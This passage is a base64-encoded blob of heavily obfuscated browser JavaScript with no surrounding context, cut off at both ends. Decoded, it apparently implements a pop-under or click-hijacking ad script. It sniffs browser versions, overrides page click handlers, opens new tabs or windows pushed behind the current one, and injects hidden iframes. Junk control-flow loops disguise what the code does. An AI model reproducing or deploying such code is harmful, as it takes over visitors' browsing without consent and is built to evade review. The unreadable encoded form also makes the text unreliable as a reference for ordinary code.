QsZSl7dHJ5e3JldHVybiEoIXRba2ldW2VdfHwhdFtraV1bZV1bWW5dKTt9Y2F0Y2godCl7cmV0dXJuIHl1O319LE46ZnVuY3Rpb24odCl7dmFyIGU7ZT10aGlzLlIodCk7cmV0dXJuIGUmJmVbdW5dJiYheHNbaXJdKGVbdW5dKT9lW3VuXTp5dTt9LEo6ZnVuY3Rpb24odCxlLGksbil7Zm9yKHZhciByLG8scyxhPXRbWHMrR3IraF0oKVtDcl0obnx8R3IrVHQrR3IpLGM9ZVtYcytHcitoXSgpW0NyXShufHxHcitUdCtHciksdT0wLGY9ZHJbQm9dKGFbcGldLGNbcGldKTt1PGYmJihyPVVjKGFbdV18fDAsMTApLG89VWMoY1t1XXx8MCwxMCkscWMocikmJihyPTApLHFjKG8pJiYobz0wKSxzPXI+bz8xOi0xLHI9PT1vKTt1Kyspe3M9MDt9c3dpdGNoKGkpe2Nhc2UgR3IrdXIrR3I6dzUubzQoOCk7cmV0dXJuIHc1LnU0KDEscyk7Y2FzZSBHcit1citHcitldCtHcjp3NS5ZNCg5KTtyZXR1cm4gdzUuYzQocywxKTtjYXNlIEdyK3VpK0dyOnc1Lm80KDEwKTtyZXR1cm4gdzUuYzQoMSxzKTtjYXNlIEdyK3VpK0dyK2V0K0dyOnc1Llk0KDExKTtyZXR1cm4gdzUuYzQoMSxzKTtjYXNlIEdyK2V0K0dyK2V0K0dyOmNhc2UgR3IrZXQrR3IrZXQrR3IrZXQrR3I6ZGVmYXVsdDp3NS5ZNCg4KTtyZXR1cm4gdzUudTQoMCxzKTt9fSwkOmZ1bmN0aW9uKHQpe2Zvcih2YXIgZT1wZVtDcl0oR3IpLGk9ZVtwaV0sbj0wLHI9R3I7bjx0O24rKyl7cis9ZVtkcltBY10oZHJbTW5dKCkqaSldO31yZXR1cm4gcjt9LGg6ZnVuY3Rpb24odCxlKXt0cnl7cmV0dXJuIHRbYWErR3IrR2ldKGUpO31jYXRjaCh0KXtyZXR1cm4geXU7fX0sSDpmdW5jdGlvbih0LGUsaSl7dmFyIG47dzUubzQoMik7bj13NS5jNChoaSx0KTtyZXR1cm4gdHlwZW9mIHlbbl0hPT1nZSYmcm8oeVtuXSkseVtuXT1pbyhlLGkpO30sdzpmdW5jdGlvbigpe3JldHVybiBQdTt9LFU6ZnVuY3Rpb24odCl7cmV0dXJuIHRbU2MrR3IrbWNdPT09dmErR3IrZ3QrR3IrbXQrR3IrVnIrR3IreGMmJm5lW2lyXSh0W2FhK0dyK0dpXShPKSl8fHRbU2MrR3IrbWNdPT09cGErR3IrT24rR3IrRmMrR3IrUHMrR3IrcGE7fX07aXU9e3R0OmZ1bmN0aW9uKHQsZSl7dmFyIGkscTUsbTUsQTU7dHJ5e3E1PS0xNDE1MjczNDIzO201PS0zMzc1MDc5MjY7QTU9Mjtmb3IodmFyIEs1PTE7dzUuZDEoSzUudG9TdHJpbmcoKSxLNS50b1N0cmluZygpLmxlbmd0aCwzNzU1NSkhPT1xNTtLNSsrKXtyZXR1cm4gZXx8KGk9cmlbKHdyLUdyKSVqbipHcipMY10odFtIYyVHci9VZV0sdFtIYy9Hci14b10pKT9pOnRbVGldJiZ0W1hzLUdyLUNuXSYmdFsoWHItR3IpJUNuXTtBNSs9Mjt9aWYodzUuTDEoQTUudG9TdHJpbmcoKSxBNS50b1N0cmluZygpLmxlbmd0aCw3MjUzNikhPT1tNSl7cmV0dXJuIGUmJihpPXJpW3dyK0dyK2puK0dyK0xjXSh0W0hjK0dyK1VlXSx0W0hjK0dyK3hvXSkpP2k6dFtUaV18fHRbWHMrR3IrQ25dfHx0W1hyK0dyK0NuXTt9fWNhdGNoKHQpe3JldHVybiB5dTt9fSxYOmZ1bmN0aW9uKHQsZSxpLG4pe3JldHVybiB0eXBlb2YgdFtIbitHcitDYStHcitFbl09PT1acz90W0huK0dyK0NhK0dyK0VuXShlLGksbnx8e30pOnRbRmUrR3IrQ2FdKE5vK2UsaSk7fSxLOmZ1bmN0aW9uKHQsZSxpLG4pe3ZhciByO3I9ZnVuY3Rpb24oKXtpdS5aKHQsZSxyLG4pO2lbQ2ldKCk7fTtpdS5YKHQsZSxyLG4pO30sWjpmdW5jdGlvbih0LGUsaSxuKXtyZXR1cm4gdHlwZW9mIHRbeG4rR3IrQ2ErR3IrRW5dPT09WnM/dFt4bitHcitDYStHcitFbl0oZSxpLG58fHt9KTp0W0tpK0dyK0NhXShObytlLGkpO319OyEoWGM9e2l0OmZhW2lyXSh2dSksbnQ6c3RbaXJdKHZ1KSxtOmxlW2lyXSh2dSksZXQ6YWNbaXJdKHZ1KSxydDpTb1tpcl0odnUpLG90OnNpW2lyXSh2dSl8fEpyW2lyXSh2dSl8fHVlW2lyXSh2dVtmc10oMCw0KSksc3Q6dm9baXJdKHZ1KSxnOkFyW2lyXSh2dSkmJiFfYVtpcl0odnUpLGI6bHJbaXJdKHZ1KSYmIW1hW2lyXSh2dSksYXQ6bWVbaXJdKHZ1KSYmIWdyW2lyXSh2dSksY3Q6eFtpcl0odnUpLGQ6Rltpcl0odnUpLHV0OnlvW2lyXSh2dSksX3Q6bXUscHQ6WmMucShndSl8fG11LGx0OmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMuX3QhPT1tdT90aGlzLl90OnRoaXMuX3Q9UWMuZHQoKSE9PXl1O30sSjpmdW5jdGlvbih0LGUpe3JldHVybiBaYy5KKFhjLmZ0LGUsdCk7fSxodDptb1tpcl0odnUpJiYhenJbaXJdKHZ1KSxmdDpaYy5xKHl1KXx8bXV9KS5ldHx8WGMuaHR8fFhjLmR8fFhjLmJ8fChYYy51dD1vNSk7KFljPWZ1bmN0aW9uKHQsZSxpKXt2YXIgbjtuPWl8fHt9O25bel09ZTt0aGlzLnZ0KG4pO3RoaXMubXQuYnR8fCh0aGlzLm10LmJ0PXJ1K3QpO3RoaXMuZ3QoKTt9KVtYdF09e2t0OntUdDpndSxDdDptdSxqdDp5dSxFdDpHcitQZStHcixGdDprdSxMdDpndSxBdDp5dSxPdDpndSx4dDptdSxQdDpudWxsLGJ0Om11LHd0Om11LFN0Omt1fSxtdDp7fSx5dDpudWxsLHp0OlpjLnYoKSxCdDpaYy5wKFtbT3IsMF1dKSxJdDpaYy5wKFtbTWUsMV1dKSxNdDpaYy5wKFtbU3IsMV1dKSxXdDpaYy5wKFtbRWksMF0sW1NyLDBdXSksRHQ6WmMucChbW01lLDBdXSksVXQ6WmMucChbW1p0LDBdXSksUnQ6WmMucChbW0VpLDBdXSksc2V0T3B0aW9uczpmdW5jdGlvbih0KXtyZXR1cm4gdGhpcy52dCh0KTt9LGd0OmZ1bmN0aW9uKCl7dmFyIHQsZSxpLG47dD1mdW5jdGlvbih0LGUpe3ZhciBpLG47bj17fTtuW3B1XT1beXUsZ3VdO25bX3VdPVt5dSx5dV07bltsdV09W2d1LGd1XTtuW2R1XT1bZ3UseXVdO2ZvcihpIGluIG4paWYoeWlbWHRdW0JhK0dyK2x0K0dyK29vXVtDaV0obixpKSYmbltpXVswXT09PXQmJm5baV1bMV09PT1lKXtyZXR1cm4gaTt9cmV0dXJuIF91O307ZT1YYy5sdCgpO2k9dChHYy5tdC4kdC5uZXdUYWIsR2MubXQuJHQudW5kZXIpO249dCh0aGlzLm10LkF0LHRoaXMubXQuVHQpO2V8fG49PT1wdSYmKG49aSk9PT1wdSYmKG49bHUpO1hjLm90JiYobj09PV91JiYobj1kdSksbj09PXB1JiYobj1sdSkpO3RoaXMueXQ9bjt9LEh0OmZ1bmN0aW9uKCl7dmFyIGswLG4wLEYwO2lmKHR5cGVvZiB0aGlzLm10Lnh0PT09WnMpdHJ5e3JldHVybiB0aGlzLm10Lnh0W0NpXSh0aGlzLHRoaXMubXQpW1hzK0dyK2hdKCk7fWNhdGNoKHQpe3JldHVybiBLYy5lKHQpLHl1O31rMD0tMTAwMjA0NzAxMztuMD0tMTY1MTM4NjMwNztGMD0yO2Zvcih2YXIgTTA9MTt3NS5MMShNMC50b1N0cmluZygpLE0wLnRvU3RyaW5nKCkubGVuZ3RoLDY4NDExKSE9PWswO00wKyspe3JldHVybiB0aGlzLm10Lnh0O0YwKz0yO31pZih3NS5kMShGMC50b1N0cmluZygpLEYwLnRvU3RyaW5nKCkubGVuZ3RoLDkwOTM5KSE9PW4wKXtyZXR1cm4gdGhpcy5tdC54dDt9fSxMdDpmdW5jdGlvbigpe3ZhciB0LGUsRzcsQzcsazcsVjAsdTAseTA7dD10aGlzLm10O2U9dC5PdCE9PU5zJiZ0Lk90IT09TmV8fHQuT3Q9PT1OcyYmWGMub3R8fHQuT3Q9PT1OZSYmIVhjLm90O3RyeXtHNz0tMTkzODMwODU3MjtDNz0tMTE3NzY0NDk2NDtrNz0yO2Zvcih2YXIgRjc9MTt3NS5kMShGNy50b1N0cmluZygpLEY3LnRvU3RyaW5nKCkubGVuZ3RoLDg5NDI0KSE9PUc3O0Y3Kyspe3R5cGVvZiB0Lkx0PT09WnM/ZT1lJiZ0Lkx0W0NpXSh0aGlzLGUsdGhpcy5OdCgpKSE9PXl1OnR5cGVvZiB0Lkx0PT09YW4mJihlPWUmJnQuTHQpO2s3Kz0yO31pZih3NS5MMShrNy50b1N0cmluZygpLGs3LnRvU3RyaW5nKCkubGVuZ3RoLDUzNDE4KSE9PUM3KXstdC5MdCE9PVpzP2U9ZXx8dC5MdFtDaV0odGhpcyxlLHRoaXMuTnQoKSk9PT15dTohdC5MdD09YW58fChlPWV8fHQuTHQpO319Y2F0Y2godCl7S2MuZSh0KTt9VjA9Njg3MDAyMDA4O3UwPS0yOTc1OTkyODc7eTA9Mjtmb3IodmFyIHYwPTE7dzUuTDEodjAudG9TdHJpbmcoKSx2MC50b1N0cmluZygpLmxlbmd0aCw2NDU0MSkhPT1WMDt2MCsrKXtyZXR1cm4gR2MuSnQoKT9lfHwtdGhpcy5WdDplfHwrdHUuYyh0LmJ0KTt5MCs9Mjt9aWYodzUuTDEoeTAudG9TdHJpbmcoKSx5MC50b1N0cmluZygpLmxlbmd0aCwyOTMyNSkhPT11MCl7cmV0dXJuIEdjLkp0KCk/ZXx8LXRoaXMuVnQ6ZXx8K3R1LmModC5idCk7fXJldHVybiBHYy5KdCgpP2UmJiF0aGlzLlZ0OmUmJiF0dS5jKHQuYnQpO30sdnQ6ZnVuY3Rpb24odCl7dmFyIGUsaSxuLHI7dGhpcy5tdD1aYy55KHRoaXMuenQsdGhpcy5rdCx0aGlzLm10LHR8fHt9KTtmb3IoaSBpbiB0aGlzLm10KWlmKHlpW1h0XVtCYStHcitsdCtHcitvb11bQ2ldKHRoaXMubXQsaSkpc3dpdGNoKG49dGhpcy5tdFtpXSxpKXtjYXNlIHNvOnRoaXMubXQud3Q9bjticmVhaztjYXNlIHo6dGhpcy5tdC54dD1uO2JyZWFrO2Nhc2UgTGU6dGhpcy5tdC5PdD0obitHcilbWHMrR3IrdHMrR3IrbmNdKCk7YnJlYWs7Y2FzZSBOdCtHcittYzp0aGlzLm10LmJ0PW47YnJlYWs7Y2FzZSBOdCtHcitUOnRoaXMubXQuQ3Q9bjticmVhaztjYXNlIE50K0dyK2VhOnRoaXMubXQuRXQ9bjticmVhaztjYXNlIE50K0dyKyRzOnRoaXMubXQuUHQ9bjticmVhaztjYXNlIEVlOnRoaXMubXQuVHQ9bjticmVhaztjYXNlIEErR3IrTG86dGhpcy5tdC5BdD1uO2JyZWFrO2Nhc2UgcHQrR3IramU6dGhpcy5tdC5GdD1uO2JyZWFrO2Nhc2UgamErR3IramU6dGhpcy5tdC5TdD1uO2JyZWFrO2Nhc2UgSWMrR3IrY3I6dGhpcy5tdC5qdD1uO2JyZWFrO2Nhc2UgdGUrR3Irc3M6dGhpcy5tdC5MdD1uO31pZighWGMub3QmJiF0aGlzLm10LkF0KWZvcihyPVtbWGMuZyYmMTE9PT1YYy5wdCx0aGlzLlV0XSxbWGMuYiYmWGMucHQ8NDEsdGhpcy5JdF0sW1hjLmIsdGhpcy5CdF0sW1hjLmQmJlhjLnB0PDQ3LHRoaXMuTXRdLFtYYy51dCx0aGlzLkR0XSxbWGMuY3QsdGhpcy5SdF0sW1hjLmImJlhjLnB0Pj01OSx0aGlzLld0XSxbWGMudXQmJlhjLnB0Pj00Nix0aGlzLld0XV0sZT0wO2U8cltwaV07ZSsrKWlmKHJbZV1bMF0pZm9yKGkgaW4gcltlXVsxXSl7eWlbWHRdW0JhK0dyK2x0K0dyK29vXVtDaV0ocltlXVsxXSxpKSYmKHRoaXMubXRbaV09cltlXVsxXVtpXSk7fX0sZ2V0T3B0aW9uczpmdW5jdGlvbigpe3JldHVybiB0aGlzLk50KCk7fSxOdDpmdW5jdGlvbigpe3ZhciB0LGU7ZT17fTtmb3IodCBpbiB0aGlzLm10KXt5aVtYdF1bQmErR3IrbHQrR3Irb29dW0NpXSh0aGlzLm10LHQpJiZ0W3BpXT49MyYmKGVbdF09dGhpcy5tdFt0XSk7fXJldHVybiBlO30scXQ6ZnVuY3Rpb24oKXtHYy5KdCgpP3RoaXMuVnQ9Z3U6dHUuYSh0aGlzLm10LmJ0LDEsdGhpcy5tdC5DdCx0aGlzLm10LkV0LHRoaXMubXQuUHQpO319OyhudT1mdW5jdGlvbih0KXt2YXIgZTtlPXRoaXM7dGhpcy5RdD10O3RoaXMuR3Q9dGhpcy5ZdCgpO3RoaXMuS3Q9dGhpcy5adCgpO2l1LlgodGhpcy5HdCxncyxmdW5jdGlvbigpe0dzKGUuS3QpO1pjLlAoZS5HdCk7fSk7fSlbWHRdPXtZdDpmdW5jdGlvbigpe3ZhciB0LEs3LHI3LFE3O0s3PS0xODIwMzgxMDU7cjc9MTk5MDM1MjYxMTtRNz0yO2Zvcih2YXIgajc9MTt3NS5kMShqNy50b1N0cmluZygpLGo3LnRvU3RyaW5nKCkubGVuZ3RoLDg2ODQwKSE9PUs3O2o3Kyspe3Q9WmMueihoYyx7Y2xhc3M6ZnV9LEdyKTtyZXR1cm4gdGhpcy5RdFtTYytHcittY11bWHMrR3IrdHMrR3IrbmNdKCk9PT1Rcj9yaVtRcl1bSXQrR3IrV2VdKHQpOnRoaXMuUXRbX3QrR3IraV1bTmMrR3IrT3NdKHQsdGhpcy5RdFtWcytHcitrc10pLHQ7UTcrPTI7fWlmKHc1LkwxKFE3LnRvU3RyaW5nKCksUTcudG9TdHJpbmcoKS5sZW5ndGgsMzM0MykhPT1yNyl7dD1aYy56KGhjLHtjbGFzczpmdX0sR3IpO3JldHVybiB0aGlzLlF0W1NjKkdyL21jXVtYcypHci10cy1Hci1uY10oKT09UXI/cmlbUXJdW0l0L0dyL1dlXSh0KTp0aGlzLlF0W190L0dyJWldWyhOYy1HcikqT3NdKHQsdGhpcy5RdFsoVnMtR3IpJWtzXSksdDt9fSxadDpmdW5jdGlvbigpe3ZhciB0O3Q9dGhpcztyZXR1cm4gQ28oZnVuY3Rpb24oKXt2YXIgZSxpO2k9VWModC5RdFt4ZV1bc24rR3IrenNdLDEwKTt0LlF0W1NjK0dyK21jXVtYcytHcit0cytHcituY10oKT09PVFyJiYoaT05ZTkpOyhlPV9uK1Z0K2dvK2VyK0RhK1Z0K04rZXIrbG4rVnQraytlcitHcisoS2ErVnQrR3IpK3QuUXRbZnIrR3Ird2NdKyhobytlcitHcikrKG9jK1Z0K0dyKSt0LlF0W2ZyK0dyK2ddKyhobytlcitHcikrKEhpK1Z0K0dyKSt0LlF0W2ZyK0dyK1duXSsoaG8rZXIrR3IpKyhwK1Z0K0dyKSt0LlF0W2ZyK0dyK0NjXSsoaG8rZXIrR3IpKyhzbit3aStMK1Z0K0dyKSsocWMoaSk/MjppKzEpKSE9PXQuR3RbYWErR3IrR2ldKHhlKSYmdC5HdFtsaStHcitHaV0oeGUsZSk7fSwxNTApO319O251Llh0PWZ1bmN0aW9uKHQpe3ZhciBlO3c1Llk0KDEyKTtlPXc1LmM0KHJ1LExpLHdpLHdpLEdyLGllLEdyKTt0W2FhK0dyK0dpXShlKXx8dFthYStHcitHaV0obG8pPT09ZnV8fCh0W2xpK0dyK0dpXShlLDEpLG5ldyBudSh0KSk7fTsoUWM9e2R0OmZ1bmN0aW9uKCl7dmFyIHQsZTtlPXRoaXMuZWUoKTtmb3IodD0wO3Q8ZVtwaV07dCsrKWlmKGVbdF1bMV0oKT09PWd1KXtyZXR1cm4gZVt0XVswXTt9cmV0dXJuIHl1O30sZWU6ZnVuY3Rpb24oKXt2YXIgdDt0PVtdO3JldHVybiBYYy5vdHx8WGMuaXQ/W106KHRbTXJdKFt0aGlzLmllLGZ1bmN0aW9uKCl7cmV0dXJuIFhjLmImJlhjLnB0Pj02NCYmWGMucHQ8Njc7fV0pLHRbTXJdKFt0aGlzLm5lLGZ1bmN0aW9uKCl7cmV0dXJuIFhjLmImJlpjLlkoKSYmWGMubnQmJlhjLnB0Pj00MyYmWGMucHQ8NjQ7fV0pLHRbTXJdKFt0aGlzLnJlLGZ1bmN0aW9uKCl7dmFyIGI3LHE3LG03O2I3PS02MDMwNTI0OTU7cTc9LTQwNjg3OTgwNDttNz0yO2Zvcih2YXIgSTc9MTt3NS5MMShJNy50b1N0cmluZygpLEk3LnRvU3RyaW5nKCkubGVuZ3RoLDU1NDM5KSE9PWI3O0k3Kyspe3JldHVybiBYYy5ifHxaYy5ZKCl8fFhjLm18fFhjLnB0PD0xN3x8WGMucHQ+PTg5O203Kz0yO31pZih3NS5MMShtNy50b1N0cmluZygpLG03LnRvU3RyaW5nKCkubGVuZ3RoLDYyMDk0KSE9PXE3KXtyZXR1cm4gWGMuYnx8WmMuWSgpfHxYYy5tfHxYYy5wdDw9MTd8fFhjLnB0Pj04OTt9cmV0dXJuIFhjLmImJlpjLlkoKSYmWGMubSYmWGMucHQ+PTQ5JiZYYy5wdDw2NDt9XSksdFtNcl0oW3RoaXMub2UsZnVuY3Rpb24oKXtyZXR1cm4gWGMuZDt9XSksdFtNcl0oW3RoaXMuc2UsZnVuY3Rpb24oKXtyZXR1cm4gWGMuZyYmWGMucHQ+PTExO31dKSx0W01yXShbdGhpcy5hZSxmdW5jdGlvbigpe3JldHVybiBYYy5odDt9XSksdFtNcl0oW3RoaXMuY2UsZnVuY3Rpb24oKXt2YXIgVDAsRTAsbzA7VDA9MTIwNjMzNjEyMTtFMD0xMjk2MjQyMjUyO28wPTI7Zm9yKHZhciBwMD0xO3c1LmQxKHAwLnRvU3RyaW5nKCkscDAudG9TdHJpbmcoKS5sZW5ndGgsNDUyNzYpIT09VDA7cDArKyl7cmV0dXJuIFhjLnV0fHxYYy5udHx8WGMucHQ+PTc0O28wKz0yO31pZih3NS5MMShvMC50b1N0cmluZygpLG8wLnRvU3RyaW5nKCkubGVuZ3RoLDY1MzgpIT09RTApe3JldHVybiBYYy51dCYmWGMubnQmJlhjLnB0PD00ODt9fV0pLHQpO319KS50ZT1mdW5jdGlvbih0KXt0aGlzLnVlKHQpO307UWMudGVbWHRdPXtfZTprdSx1ZTpmdW5jdGlvbih0KXt2YXIgcjUsUTUsZTU7cjU9LTk1ODI4OTMwMTtRNT0tNjIxNDQ4NDIyO2U1PTI7Zm9yKHZhciBaNT0xO3c1LmQxKFo1LnRvU3RyaW5nKCksWjUudG9TdHJpbmcoKS5sZW5ndGgsOTUyNjgpIT09cjU7WjUrKyl7dGhpcy5mZT10O2U1Kz0yO31pZih3NS5MMShlNS50b1N0cmluZygpLGU1LnRvU3RyaW5nKCkubGVuZ3RoLDE0MzU1KSE9PVE1KXt0aGlzLmZlPXQ7fX0sbGU6a3UscGU6ZnVuY3Rpb24oKXt2YXIgdCxlLGksbixyLG8scyxhO2k9dGhpcztuPWkuZmU7cj1uLkh0KCk7bz1uLm10O3M9by53dHx8WmMuJCg1KTthPVpjLmsobyk7aWYodD1mdW5jdGlvbigpe3RyeXtpZih0eXBlb2Ygby5GdD09PVpzJiZvLkZ0W0NpXShuLHIsbyk9PT15dSl7cmV0dXJuIHl1O319Y2F0Y2godCl7S2MuZSh0KTt9cmV0dXJuIG11O30sZT1mdW5jdGlvbih0KXtpZih0eXBlb2Ygby5TdD09PVpzKXRyeXtvLlN0W0NpXShuLHIsbyx0KTt9Y2F0Y2godCl7S2MuZSh0KTt9fSx0KCk9PT15dSl7cmV0dXJuIHl1O310eXBlb2Ygb1t6XT09PVRjJiZvW3pdIT09ciYmKHI9b1t6XSk7R2MuanQoby5qdCk7dGhpcy5fZSgpO3RyeXtyZXR1cm4gdGhpcy5sZShyLG8scyxhLGZ1bmN0aW9uKHQpe2kuZGUodCk7aS5oZSYmR2MuaGUoKTtlKHQpO30pO31jYXRjaCh0KXtyZXR1cm4gS2MuZSh0KSx5dTt9fSx2ZTpmdW5jdGlvbih0LGUsaSl7cmV0dXJuKEdjLm10LmJlP1pjLkM6QXUpKHQsZSxpKTt9LGRlOmt1LGhlOmd1fTtRYy5tZT1mdW5jdGlvbih0KXt0aGlzLnVlKHQpO307UWMubWVbWHRdPVpjLnkoUWMudGVbWHRdLHtoZTp5dSxsZTpmdW5jdGlvbih0LGUsaSxuLHIpe3IodGhpcy52ZSh0LGksbikpO319KTtRYy5nZT1mdW5jdGlvbih0KXt0aGlzLnVlKHQpO307UWMuZ2VbWHRdPVpjLnkoUWMudGVbWHRdLHtoZTohWGMub3QmJiFYYy5kLGxlOmZ1bmN0aW9uKHQsZSxpLG4scil7cih0aGlzLnZlKHQsRmkpKTt9fSk7UWMueWU9ZnVuY3Rpb24odCl7dGhpcy51ZSh0KTt9O1FjLnllW1h0XT1aYy55KFFjLnRlW1h0XSx7a2U6ZnVuY3Rpb24oKXt2YXIgdCxlLGk7dD1HYy53ZSgpO2U9R2MueGUuUztpPXR5cGVvZiBHYy5tdC5PZT09PVpzP0djLm10Lk9lW0NpXSgpOkdjLm10Lk9lO3JldHVybiBmdW5jdGlvbigpe3ZhciBuLHI7cmV0dXJuIGkhPT1GdT9pOihuPVpjLiQoMSkscj1lP2k6R2MuQ2UodCl8fGksZXUucygpfHwhWGMub3QmJiFYYy5nP3I6KHR1LmEoY3UsbixtdSkscltaXSh2cixHcikrKEdyK3NlK0dyKStuKSk7fSgpO30sbGU6ZnVuY3Rpb24odCxlLGksbixyKXt2YXIgeDksejksaDksbyxzLGEsYyx1LGgsZixwO3g5PTE3MTA2NjI4Nzg7ejk9LTEwMzk3MjE3MTM7aDk9Mjtmb3IodmFyIEw5PTE7dzUuZDEoTDkudG9TdHJpbmcoKSxMOS50b1N0cmluZygpLmxlbmd0aCwzMDE4NykhPT14OTtMOSsrKXtoOSs9Mjt9aWYodzUuZDEoaDkudG9TdHJpbmcoKSxoOS50b1N0cmluZygpLmxlbmd0aCw0NTQ4MCkhPT16OSl7fWE9dGhpcy5rZSgpO2M9R2Mud2UoKTt1PVpjLk4oYyk7aD0xNTtmPVtdO3A9ZnVuY3Rpb24odCl7dmFyIGU7dHlwZW9mIHRbQW5dPT09WnMmJihlPXRbQW5dLGl1LlgodCxncyxlKSk7dFtBbl09ZnVuY3Rpb24oKXtyZXR1cm4geXU7fTt9O2ZvcihHYy5FZSgpLGMmJmNbU2MrR3IrbWNdPT09T24mJmNbYWErR3IrR2ldKFRpKSE9PUZpJiZaYy5mKGMsdW4pJiYocChjKSwwIT09Y1thYStHcitHaV0odW4pW0wrR3IrV2FdKEN0KSYmKGE9Y1thYStHcitHaV0odW4pKT09PUdyJiYoYT1GdSkpLGMmJmNbU2MrR3IrbWNdPT09T24mJmNbYWErR3IrR2ldKFRpKT09PUZpJiZaYy5mKGMsdW4pJiYocChjKSxpbyhmdW5jdGlvbigpe2NbQW5dPW11O30sM2UzKSxHYy5tdC5QZT9hPWNbYWErR3IrR2ldKHVuKTooYT1GdSxYYy5vdCYmKFhjLnV0P2ZbTXJdKGZ1bmN0aW9uKCl7QXUoY1thYStHcitHaV0odW4pLEZpKTt9KTppbyhmdW5jdGlvbigpe0F1KGNbYWErR3IrR2ldKHVuKSxGaSk7fSwyMCkpKSksWGMuZXQmJlhjLnV0fHxYYy5ldCYmWGMuc3QmJiFYYy5kJiYhWGMuYiYmIVhjLmh0PyhBdShhLEZpKSxaYy5IKEJyLGZ1bmN0aW9uKCl7WmMuVCh0KTt9LGgpKTohWGMub3QmJlpjLmgoYyxUaSkhPT1GaSYmKFhjLnV0JiZYYy5zdHx8WGMuaHQmJlhjLnB0PDEwfHxYYy5iJiZYYy5wdDw0MSk/WGMudXQ/KFpjLlEoYSksWmMuSChCcixmdW5jdGlvbigpe1pjLlQodCk7fSxoKSk6KFpjLlEodCksY1tTYytHcittY109PT1PbiYmdSYmWmMuVCh1KSk6WGMuZXQmJlhjLmQ/KG89QXUoYSxGaSksWmMuSChCcixmdW5jdGlvbigpe1pjLlQodCk7fSxoKSk6KG89eVtRYV0oVWErVnQrY2ksRmkpKT8ob1tFaV1bdW5dPWEsWmMuSChCcixmdW5jdGlvbigpe1pjLlQodCk7fSxoKSk6bz1BdSh0LEZpKSxzPTA7czxmW3BpXTtzKyspe2Zbc11bQ2ldKCk7fW8mJnIobyk7fX0pO1FjLm9lPWZ1bmN0aW9uKHQpe3RoaXMudWUodCk7fTtRYy5vZVtYdF09WmMueShRYy50ZVtYdF0se2hlOnl1LGxlOmZ1bmN0aW9uKHQsZSxpLG4scil7dmFyIG87bz10aGlzLnZlKHQsaSxuKTtvW2tuXSgpO1R1W2JvXSgpO1pjLk0obyk7aW8oZnVuY3Rpb24oKXtyKG8pO30sMWUzKTt9fSk7UWMuY2U9ZnVuY3Rpb24odCl7dGhpcy51ZSh0KTt9O1FjLmNlW1h0XT1aYy55KFFjLnRlW1h0XSx7bGU6ZnVuY3Rpb24odCxlLGksbixyKXt2YXIgbyxzO289dGhpcy52ZSh0LGksbik7cz1HYy5UZSgxZTMpO2l1LksoeSxibyxmdW5jdGlvbigpe2lvKGZ1bmN0aW9uKCl7WmMuUChzKTt9LDEwKTt9KTtvW2NjXT1mdW5jdGlvbigpe2lvKGZ1bmN0aW9uKCl7WmMuUChzKTt9LDEwKTt9O3Iobyk7fX0pO1FjLmFlPWZ1bmN0aW9uKHQpe3RoaXMudWUodCk7fTtRYy5hZVtYdF09WmMueShRYy50ZVtYdF0se2xlOmZ1bmN0aW9uKHQsZSxpLG4scil7dmFyIEQ5LFc5LGw5LG87RDk9MTk0OTIwNzgwOTtXOT04OTkwMjg0O2w5PTI7Zm9yKHZhciBWOT0xO3c1LkwxKFY5LnRvU3RyaW5nKCksVjkudG9TdHJpbmcoKS5sZW5ndGgsNTc4NTApIT09RDk7VjkrKyl7bDkrPTI7fWlmKHc1LkwxKGw5LnRvU3RyaW5nKCksbDkudG9TdHJpbmcoKS5sZW5ndGgsNTEwNjgpIT09Vzkpe315W3NvXT1aYy4kKDUpO289dGhpcy52ZSh0LGksbik7dGhpcy52ZShHcix5W3NvXSxHcik7eVtzb109bXU7cihvKTt9LGhlOnl1fSk7UWMuc2U9ZnVuY3Rpb24odCl7dGhpcy51ZSh0KTt9O1FjLnNlW1h0XT1aYy55KFFjLnRlW1h0XSx7bGU6ZnVuY3Rpb24odCxlLGksbixyKXt2YXIgbyxzO289dGhpcy52ZShQdT90OkZ1LGksbik7cz1mdW5jdGlvbigpe29bRWldW3VuXT10O307aXUuSyhvLGtuLHMpO29ba25dKCk7VHVbYm9dKCk7aW8ocywxMDApO3Iobyk7fSxoZTp5dX0pO1FjLm5lPWZ1bmN0aW9uKHQpe3RoaXMudWUodCk7fTtRYy5uZVtYdF09WmMueShRYy50ZVtYdF0se0ZlOmZ1bmN0aW9uKCl7dmFyIHQsZTtlPVpjLnooYXIse2RhdGE6WmMuTChlbitQZStNYyx0aGlzLkFlKStaYy4kKDMpfSk7cmV0dXJuKHQ9WmMueihoYyx7c3R5bGU6UGkrVnQrYStlcitvYytWdCtIcytlcitLYStWdCtIcytlcitEYStWdCtOK2VyK3ArVnQrRnIrSGErR3IrZXIrSGkrVnQrem4rZXIrayt3aStHYStWdCtYaStlciskbytWdCthK2VyK0dyfSkpW0l0K0dyK1dlXShlKSxbZSx0XTt9LFNlOmZ1bmN0aW9uKHQpe3ZhciBlO2U9WmMueSh0LHt9KTtyZXR1cm4gZVtwXT1lW0hpXT05ZTUsZVtvY109ZVtLYV09MSxlO30sQWU6THQrR3IrdGErR3IrRmMrR3IrUHMrR3Irb24rR3IrV2MrR3IreG8rR3IrJCtHcithaStHcituK0dyK1NhK0dyK0tyK0dyK1F0K0dyK2t0K0dyK3p0K0dyK3RjK0dyK1l0K0dyK3ZhK0dyK3MrR3IrdmErdWMraG4rR3IrTGErR3IrenQrR3IrVytHcitEYytHcitaYStHcittdCtHcitWaStHcitzYStHcitVZStHcitUYStHcit2YStHcitWaStHcitQcitHcit4bytHcitVZStHcitpYytHcitwbytHcitLcitHcitKK0dyK2hzK0dyK1ppK0dyK3ZhK0dyK1ByK0dyK0xhK0dyK3p0K0dyK1crR3IrRmMrR3IrdGMrR3IrWGErR3IrVHMrR3IrWmkrR3IrdmErR3IrUHIrR3IrSGUrR3IrenQrR3IrVytHcitGYytHcit0YytHcityYytHcithZStHcit2aStHcit2YStHcitQcitHcitydCtHcitwcytHcittdCtHcituYStHcitUbytHcityZStHcit4bytHcit0YStHcitqaStHcitXK0dyK2F0K0dyK3ZhK0dyK1ByK0dyK2MrR3IrYit1YytFK0dyK1FvK0dyK3BzK0dyK2RjK0dyK1l0K0dyK3ZhK0dyK1lhK0dyK1hhK0dyK1RzK0dyK1ppK0dyK3ZhK0dyK0dlK0dyK09lK0dyK2dhK0dyK0hvK0dyK3ZhK0dyK1ByK0dyK2t0K0dyK3p0K0dyK1crR3IrRmMrR3IrdGMrR3IrdmErR3Ircm4rdWMrQnQrR3IrVm4rR3IrRStHcitucitHcitrdCtHcit6dCtHcitXK0dyK0RjK0dyK